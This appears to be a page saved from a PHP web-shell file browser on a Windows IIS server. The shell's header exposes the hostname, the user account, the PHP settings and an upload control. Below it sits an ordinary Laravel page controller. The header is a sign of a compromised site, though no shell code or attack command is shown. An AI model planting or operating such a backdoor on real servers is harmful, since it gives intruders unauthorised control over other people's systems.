HEX
Server: Microsoft-IIS/8.5
System: Windows NT YDAWBH120 6.3 build 9600 (Windows Server 2012 R2 Standard Edition) AMD64
User: tentjecom_web (0)
PHP: 7.4.14
Disabled: NONE
Upload Files
File: D:/HostingSpaces/SBogers10/straffer.komma.nl/app/Komma/Pages/PageController.php
<?php

namespace Komma\Pages;

use Illuminate\Http\Request;

class PageController extends \BaseController
{

    public $data;
    protected $pageService;

    public function __construct(PageService $pageService){;
        $this->pageService = $pageService;

        $this->data = (object)[];
    }

    public function show($id = 2){
        $this->data->id = $id;
        $this->data->content = $this->pageService->getPageContent($id);
        $this->data->contactLink = $this->pageService->getUrl('contact');

        return \View::make('layouts.pages.'.$this->data->content->code_name)->with('data', $this->data);
    }

    public function index(){
        echo "hoi";

    }
}